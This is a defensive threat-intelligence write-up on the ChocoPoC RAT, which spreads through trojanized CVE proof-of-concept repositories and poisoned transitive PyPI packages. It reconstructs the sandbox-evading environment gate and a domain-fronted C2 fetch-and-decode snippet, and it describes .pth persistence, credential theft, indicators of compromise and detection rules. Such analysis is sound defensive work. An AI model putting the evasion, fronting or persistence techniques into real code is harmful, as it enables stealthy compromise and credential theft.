ChocoPoC RAT: How Attackers Are Weaponizing the Researcher Toolchain
For a decade we told everyone else to lock down their software supply chain. Pin your hashes. Vet your dependencies. Don’t run untrusted code as root. Then we clone a random GitHub repo at 2 a.m. because a new FortiWeb auth bypass just dropped, run pip install -r requirements.txt on the same laptop that holds our client SSH keys and cloud tokens, and fire the PoC without reading a single line of the transitive dependency tree. ChocoPoC is what happens when an attacker notices that gap and builds an operation entirely around it.
Sekoia’s TDR team and YesWeHack published the joint teardown on July 1, 2026. The finding that should keep you up: the campaign is not spraying developers at large. It is precision-targeting us – vulnerability researchers and red-teamers – because our workstations are the richest, least-defended nodes on the internet.
Why researchers are the target
Think about what actually lives on a working researcher box. Not passwords for a Netflix account. You’ve got client engagement notes, unredacted vulnerability write-ups, Burp project files, forwarded SSH agents into production jump hosts, ~/.aws/credentials with an assumed-role chain into three tenants, GitHub PATs that can push to org repos, and a browser logged into a dozen sensitive dashboards. One compromise here is worth a hundred random consumer infections.
The part Sekoia flags as the real nightmare is the double supply chain hit. Compromise one researcher and the malicious code can ride upstream into the tooling thousands of other people trust. The lures in this campaign specifically shadow the community that feeds detections and exploit modules into frameworks like Nuclei and MDUT. Poison the person who writes the Nuclei template, and you have a plausible path to poison the template. That is a categorically different blast radius than a single stolen laptop.
If you followed the DPRK-linked MUT-1244 operation in late 2024, or the WebRAT campaigns that leaned on fake GitHub PoCs, the shape here will feel familiar. ChocoPoC is the same idea grown up: cleaner infection vehicle, far better C2 tradecraft, and an environmental gate that specifically defeats the sandbox reflex most of us rely on.
The lure: fake PoC repos and the time-pressure exploit
Sekoia identified at least seven trojanized PoC repositories, each pegged to a fresh, high-attention CVE:
| CVE | Product | Why it’s a good lure |
|---|---|---|
| CVE-2025-64446 | Fortinet FortiWeb | Perimeter auth bypass, everyone rushes to test |
| CVE-2025-55182 | React2Shell | Framework-level RCE, huge audience |
| CVE-2025-14847 | MongoBleed | Memory disclosure, PoC-hungry |
| CVE-2026-0257 | Palo Alto PAN-OS | Firewall RCE, red-team catnip |
| CVE-2026-10520 | Ivanti Sentry | Recurring Ivanti panic cycle |
| CVE-2026-50751 | Check Point VPN | Remote access appliance |
| CVE-2026-48908 | Joomla SP Page Builder | Mass-exploitation potential |
The timing is the weapon. Downloads of the skytext package surged immediately after each of those vulnerabilities went public, roughly 2,400 pulls, overwhelmingly on Linux hosts. That correlation is the whole social-engineering thesis: when a juicy CVE lands, your critical judgment drops. You want a working PoC in the next ten minutes, not a two-hour dependency review. The attacker priced their operation exactly to that urgency.
The repos look clean because the malice isn’t in the repo. The exploit code itself is often a real, functional PoC. The payload hides one hop away, in a package name buried in requirements.txt that nobody reads.
The dependency injection technique: how frint hides behind skytext
Here’s the chain, step by step, as it plays out in the 2026 wave.
The repo’s requirements.txt lists a package called frint. Looks like a logging or formatting helper. When you run pip install, frint declares a transitive dependency on skytext, a package that advertises itself as a terminal-color utility. You never asked for skytext. pip pulls it in silently because that’s what dependency resolution does.
skytext ships a compiled native extension, and this is the clever bit. Python’s import machinery prioritizes compiled extension modules (.so on Linux, .pyd on Windows) over .py source files with the same name. So the malicious binary can shadow a legitimate-looking import and bootstrap itself into the interpreter before any Python source in the package even runs.
fake_poc_repo/
├── EXPLOIT_POC.py # real-ish PoC, prints a CVE banner and calls the exploit
└── requirements.txt # innocuous line: frint
frint/ # transitive glue -> depends on skytext
skytext/
├── skytext/__init__.py # decoy "terminal colors" code
└── skytext/gradient.so # the actual payload, loaded before __init__.py logic matters
The 2025 wave used the same technique with two different names, slogsec and logcrypt.cryptography, carrying near-identical source and delivering the same ChocoPoC payload. Same actor, same kit, rotated packaging. When you’re hunting, treat the technique as the signature, not the specific package names, because those will keep changing.

Dropper deep dive: gradient.so, PEB walking, and the environmental key gate
The native extension gradient.so / gradient.pyd is the dropper’s beating heart, and it is built to be miserable to analyze.
On load it does not resolve APIs the obvious way. Instead it walks structures at runtime and resolves Python and OS functions by export hashing: function names are never stored as plaintext strings, they’re hashed, and the loader compares hashes to find the addresses it wants. That defeats a lazy strings gradient.so | grep exec. It also performs classic anti-analysis: PEB walking on Windows, debugger and hardware-breakpoint detection, plus timestomping and file-lock mutexes to blend in and prevent double-execution.
Then comes the piece that actually breaks most automated pipelines. Rather than detonating on import, the extension checks whether a real exploit is running. It inspects loaded module names and looks for a filename matching the pattern EXPLOIT_POC.py (the gate keys off an EXPLOIT_ name hash). If it doesn’t see that context, it exits quietly and stays dormant.
# Conceptual reconstruction of the environment gate (illustrative, not the sample)
import os, sys, hashlib
loaded = [
os.path.basename(m.__file__)
for m in sys.modules.values()
if getattr(m, "__file__", None)
]
# Activate ONLY when the researcher's own PoC file is in the process.
if not any(name.startswith("EXPLOIT_") for name in loaded):
sys.exit(0) # dormant -> your naive detonation sees nothing
context_hash = hashlib.md5("|".join(sorted(loaded)).encode()).hexdigest()
# context_hash also seeds the decryption key for the embedded scripts
This is why “just throw it in Cuckoo” fails. If your sandbox imports the package but never runs a file named like EXPLOIT_POC.py, the payload never wakes up. Your automated verdict comes back clean, and you install it on your real box. To analyze it, you have to explicitly reproduce the researcher context inside a safe environment, which we’ll cover in the defense section.
Once the gate passes, the extension decrypts five small embedded Python scripts using a custom algorithm and a key that depends on the runtime context, so pulling the scripts out statically is painful. Then it establishes persistence: it drops a trojanized _distutils_hack package and malicious .pth files into site-packages. Any .pth file in site-packages is executed on every interpreter startup, so from that point every python3 you launch silently re-imports the malware.

ChocoPoC RAT: capabilities, command set, and the Spanish fingerprint
One of the five decrypted scripts is choco.py, the downloader that pulls the full RAT. The RAT runs a continuous polling loop, reading encrypted strings from its C2 channel and dispatching on the command prefix:
| Command | Behavior |
|---|---|
hola | Recon sweep: runs native tools (ipconfig, tasklist, uname, netstat) and exfiltrates system info |
cmd <command> | Arbitrary shell execution on the host OS |
python <base64> | Decodes and runs arbitrary Python via native exec() |
get <path> / get <path>/* | Archives target files/folders and uploads them |
browserdata | Triggers browser credential decryption and collection |
dormir | Adjusts the beacon sleep interval, speeding up or slowing down comms |
The credential harvesting is thorough. It targets Google Chrome, Brave, Microsoft Edge, and Mozilla Firefox, pulling stored passwords, cookies, autofill data, and browsing history. It also crawls user directories for .txt notes, .md documentation (where a lot of us keep messy credential scratchpads and engagement notes), and database files like data.db and local-store.db.
The python <base64> command deserves a second look because it is the primitive that makes this a platform, not just a stealer. Full arbitrary Python execution over the C2 means the operator can load new modules, pivot, harvest anything the interpreter can touch, and do it all in-memory without dropping new files. Combined with the shell command channel, the operator effectively owns the box.
The Spanish tell
Attribution here rests partly on language. Command handlers, functions, and variables are named in Spanish: dormir (sleep), hola (hello), dataset_usuario, obtener_id, devolver, nombre, actualizacion. Sekoia also found genuine Python mistakes, function-call typos and comparisons against undefined variables, which argues against fully AI-generated code and for a human developer working in Spanish who did not test thoroughly. That’s a useful signal. Sloppy, hand-written code from a Spanish-speaking author is a very different threat profile than a polished, well-resourced state kit, even if the tradecraft downstream is sharp.
C2 tradecraft: Mapbox dead drop, DNS-over-HTTPS, and domain fronting
This is where ChocoPoC stops looking amateur. The C2 is a study in blending into legitimate SaaS traffic.
Instead of hosting a command server, the operator stores commands as Base64-encoded payloads inside a Mapbox dataset feature. Mapbox is a real, widely used mapping API. The dataset feature is a legitimate Mapbox object type. To an EDR or a bored SOC analyst, an HTTPS call to api.mapbox[.]com carrying an Authorization: Token pk.eyJ1... header is indistinguishable from an app that draws maps. That’s the dead drop: the malware reads its orders from a public-looking cloud resource and never touches obviously sketchy infrastructure.
The retrieval path in choco.py layers two more evasions:
- DNS-over-HTTPS resolution. Rather than a normal DNS lookup that your resolver logs, it resolves
api.mapbox[.]comover DoH to an attacker-controlled IP. Your DNS monitoring sees nothing because the name resolution rode inside HTTPS to a public DoH endpoint. - Domain fronting. It then sends the HTTPS request with the legitimate Mapbox hostname in the SNI and
Hostheader, so on the wire the TLS handshake and request headers say “Mapbox,” even though the packet is going to attacker infrastructure.
All of the C2 strings (domain, URL, feature ID) are Base64-encoded in the source, and there’s a plain fallback: if the DoH path fails, it just hits the real api.mapbox[.]com URL directly.
# Illustrative reconstruction of the fetch-and-decode flow (do NOT exec the result)
import base64, requests
# 1) DoH resolves api.mapbox.com -> attacker IP (log-free name resolution)
# 2) Request carries legitimate SNI/Host so the wire says "Mapbox"
resp = requests.get(
f"https://{attacker_ip}/datasets/v1/frankley/{feature_id}/features",
headers={"Host": "api.mapbox.com",
"Authorization": "Token pk.eyJ1IjoiZnJhbmtsZXki..."}, # defanged
)
cmd_b64 = resp.json()["features"][0]["properties"]["cmd"]
cmd = base64.b64decode(cmd_b64).decode()
# exec(cmd) <-- the RAT does this; we only decode for analysis
Bulk data doesn’t go through Mapbox. Larger uploads, archived files and browser dumps, are pushed to a separate HTTP server at 91.132.163[.]78. That split is deliberate: keep the low-and-slow command channel hidden in trusted SaaS, and only move noisy bulk data over dedicated infrastructure you can burn and rotate.
One nice forensic gift: the Mapbox public key in the 2026 wave is pk.eyJ1IjoiZnJhbmtsZXki... (defanged), and the "a" field is a CUID-style identifier. The 8-character segment after the c prefix, mo71siss, is a Base36 timestamp. Decode it and the “frankley” account was created around 19 April 2026. Small details like this let analysts date operator activity even when everything else is obfuscated.

Actor OPSEC: account rotation and a shared arsenal
The operator rotates GitHub, PyPI, and Mapbox accounts aggressively so that a burned infection chain doesn’t torch the whole operation. Critically, Sekoia assesses the GitHub accounts are mostly compromised, not registered by the actor, likely sourced from infostealer logs or credential-leak dumps. That matters for defenders: a repo owned by a “real,” aged account with legitimate history is not automatically trustworthy, because the actor stole the account.
What ties the waves together is a shared kit. The reused Mapbox feature ID, the identical hash-based environment gate, and the same anti-recursion environment variables act as fingerprints of one toolset across late 2025 and 2026. Committer email addresses on the ChocoPoC repos also overlap with a separate PoC-trojanizing operation from late 2025. High confidence: one threat actor, evolving.
Defense I: automated dependency vetting
Stop treating pip install as a trusted operation. Build a gate in front of it.
- Scan before you install. Pull without installing, then scan:
pip download <pkg> --no-depsfollowed byguarddog pypi scanorpip-audit. GuardDog specifically flags packages that ship native extensions, execute code at install time, or contain obfuscated blobs, which is exactly this technique’s shape. - Pin and hash everything. Run
pip-compile --generate-hasheson yourrequirements.into produce a fully locked file, then install withpip install --require-hashes -r requirements.txt. Any package whose hash doesn’t match breaks the install. If you’re publishing PoCs, ship the hash-pinned lockfile so your users get the same protection. - Hunt native extensions in “pure Python” packages. A terminal-color library has no business shipping a
.so. Sweep for them:find "$VENV" -name '*.so' -o -name '*.pyd' | xargs file. Triage withstringsand, when in doubt, openPyInit_*in Ghidra or Binary Ninja and look for unexpected filesystem, network, orexeccalls. - Diff
site-packagesaround installs.pip list --format=freeze > before.txt, install,> after.txt, thendiff. Anything you didn’t ask for, especially a transitive package pulling in a compiled module, gets scrutiny before you trust it.
Use pip-audit and OSV-Scanner in CI so this runs on every PoC repo before it hits a human, and lean on Sigstore-backed provenance where the ecosystem supports it.
Defense II: ephemeral sandboxed PoC execution
Never reproduce a CVE on the machine that holds your real credentials. This is non-negotiable, and it’s the single control that would have neutered this entire campaign.
A proper PoC sandbox is a throwaway VM or container with:
- No browser profiles. Nothing for
browserdatato steal. - No SSH agent forwarding, no cloud tokens, no VPN sharing host credentials. The
getandpythoncommands find an empty cupboard. - Explicit egress allowlisting. Permit only the destinations the PoC genuinely needs.
api.mapbox[.]comis not one of them for a FortiWeb exploit. - Snapshots and diffs. Snapshot clean, install, run, then compare
site-packagesand watch for new.pthfiles.
Here’s the subtlety most people miss: isolation alone does not analyze this malware, because the environment gate keeps it dormant unless it sees an EXPLOIT_-named file running. To actually detonate it for analysis, you have to deliberately reproduce the researcher context by running the real EXPLOIT_POC.py inside your disposable, network-monitored VM. Then watch for the C2 beacon, the browser-DB reads, and the .pth drop. Isolate to stay safe; reproduce the trigger to learn.
# Post-run IOC sweep inside the sandbox
pip show frint skytext slogsec logcrypt.cryptography 2>/dev/null
find "$VENV" -name '*.so' -newer /tmp/pip_install_sentinel
find "$(python3 -c 'import site; print(site.getsitepackages()[0])')" -name '*.pth'

Defense III: OPSEC hygiene under time pressure
The attacker’s real exploit is your urgency. Slow down for ninety seconds and the whole thing falls apart.
- Pre-screen the GitHub account. Check age, commit history, and committer email domain. A three-day-old account, or an old account whose recent commits look nothing like its history (a sign it was stolen), is a red flag.
- Grep the manifests before you install. Actually open
requirements.txt,pyproject.toml, andsetup.py. Search GitHub itself forfrintandskytextin dependency files as a broad hunt across your org’s cloned repos. - Assume compromise if you ran it. If any of
frint,skytext,slogsec, orlogcrypt.cryptographytouched a real host, rotate every credential that machine could reach, revoke SSH keys, API keys, and cloud tokens, and rebuild the box. Then check your published tooling (Nuclei templates, scanner modules) for tampering, because that’s the downstream supply-chain risk that makes you a vector for everyone downstream of you.
Detection: Sysmon, ETW, and network signatures
Host telemetry
| Signal | What to catch |
|---|---|
| Sysmon EID 7 (Image Load) | Unsigned .so/.pyd loaded from site-packages (e.g. gradient.*) |
| Sysmon EID 11 (File Create) | New .pth files or _distutils_hack writes in site-packages; exfil archives |
| Sysmon EID 1 / EID 4688 | python.exe/python3 spawning ipconfig, tasklist, netstat, whoami, uname |
| Sysmon EID 3 (Network) | Python process opening 443 to a Mapbox SNI resolving to a non-Mapbox ASN |
title: Suspicious Native Extension Load From Python site-packages
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 7
ImageLoaded|contains: ['\site-packages\', '/site-packages/']
ImageLoaded|endswith: ['.pyd', '.so']
filter_signed:
Signed: 'true'
condition: selection and not filter_signed
title: Python Interpreter Spawning System Recon Utilities
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
ParentImage|endswith: ['\python.exe', '\python3']
Image|endswith: ['\ipconfig.exe', '\tasklist.exe', '\netstat.exe', '\whoami.exe']
condition: selection
On the ETW side, Microsoft-Windows-Threat-Intelligence catches .pyd loads at the kernel even without Sysmon EID 7, and Python’s audit hooks (PEP 578, available since 3.8) fire exec and compile events that let you inspect the code passed to exec() from the python command. On Linux, wire up auditd, Falco, or an eBPF rule to alert when the Python interpreter open()s browser credential stores (Login Data, Cookies, logins.json) or reads ~/.bash_history and ~/.zsh_history outside the owning shell.
Network signatures
- Kill DoH on lab networks. Block Cloudflare
1.1.1.1and Google8.8.8.8DoH endpoints and force DNS through monitored resolvers. This directly breaks the log-free resolution step. - Correlate SNI to resolved IP. If TLS SNI says
api.mapbox.combut the destination IP isn’t in Mapbox’s legitimate CDN ASN (Fastly, AS54113), flag it. That mismatch is the domain-fronting tell. - Alert on Mapbox auth from Python. A
pythonprocess sendingAuthorization: Token pk.eyJ1...toapi.mapbox.comduring CVE testing has no legitimate explanation. - Watch the bulk channel. Alert on outbound to
91.132.163[.]78and re-check its ASN and geolocation at detection time, since the operator rotates it.
MITRE ATT&CK
| Technique | Behavior |
|---|---|
| T1195.001 Supply Chain: Software Dependencies | frint/skytext on PyPI as transitive infection vehicle |
| T1059.006 Python | python <base64> via exec() |
| T1059.004 Unix Shell | cmd <command> arbitrary shell |
| T1140 Deobfuscate/Decode | Custom-decrypted embedded scripts, Base64 C2 strings |
| T1497 Sandbox Evasion | EXPLOIT_ filename-hash environment gate |
| T1547 Boot/Logon Autostart | .pth + trojanized _distutils_hack persistence |
| T1555.003 Credentials from Web Browsers | Chrome/Brave/Edge/Firefox harvest |
| T1071.001 Web Protocols | Mapbox dead drop and DoH-based C2 channel |
| T1090.004 Domain Fronting | SNI/Host set to Mapbox while connecting to attacker IP |
| T1041 Exfiltration Over C2 | Data out via Mapbox dataset writes and the bulk HTTP server |
Key takeaways
- You are the target now. ChocoPoC treats researcher urgency as an exploit primitive. The lure is timed to CVE disclosures precisely because that’s when your judgment is worst.
- The malice is one hop away. The repo can be clean while
requirements.txtpulls a poisoned transitive package that shadows a legitimate import via native-extension precedence. Read the dependency tree, not just the repo. - Sandbox reflexes are not enough. The
EXPLOIT_environment gate keeps the payload dormant under naive detonation. Isolate to stay safe, but you must reproduce the trigger context to actually analyze it. - Trusted-SaaS C2 is the future. Mapbox dead drops, DoH, and domain fronting make command traffic look like an app drawing maps. Correlate SNI against resolved ASN and treat unexplained Mapbox calls from Python as hostile.
- Assume-breach discipline is the cheapest control. A throwaway VM with no credentials, hash-pinned installs, and a
.pth/native-extension sweep would have neutralized this entire operation. Build the pipeline once, use it every time, even at 2 a.m.
References
- Don’t eat the ChocoPoCs! How vulnerability researchers were repeatedly targeted by trojanised exploits – Sekoia TDR
- Don’t eat the ChocoPoCs! Vulnerability researchers were targeted by trojanised exploits – YesWeHack
- New ChocoPoC RAT Targets Vulnerability Researchers via Fake PoC Exploit Repos – The Hacker News
- New ChocoPoC malware targets researchers via trojanized PoC exploits – BleepingComputer
- MITRE ATT&CK: Supply Chain Compromise – Compromise Software Dependencies and Development Tools (T1195.001)
- MITRE ATT&CK: Supply Chain Compromise (T1195)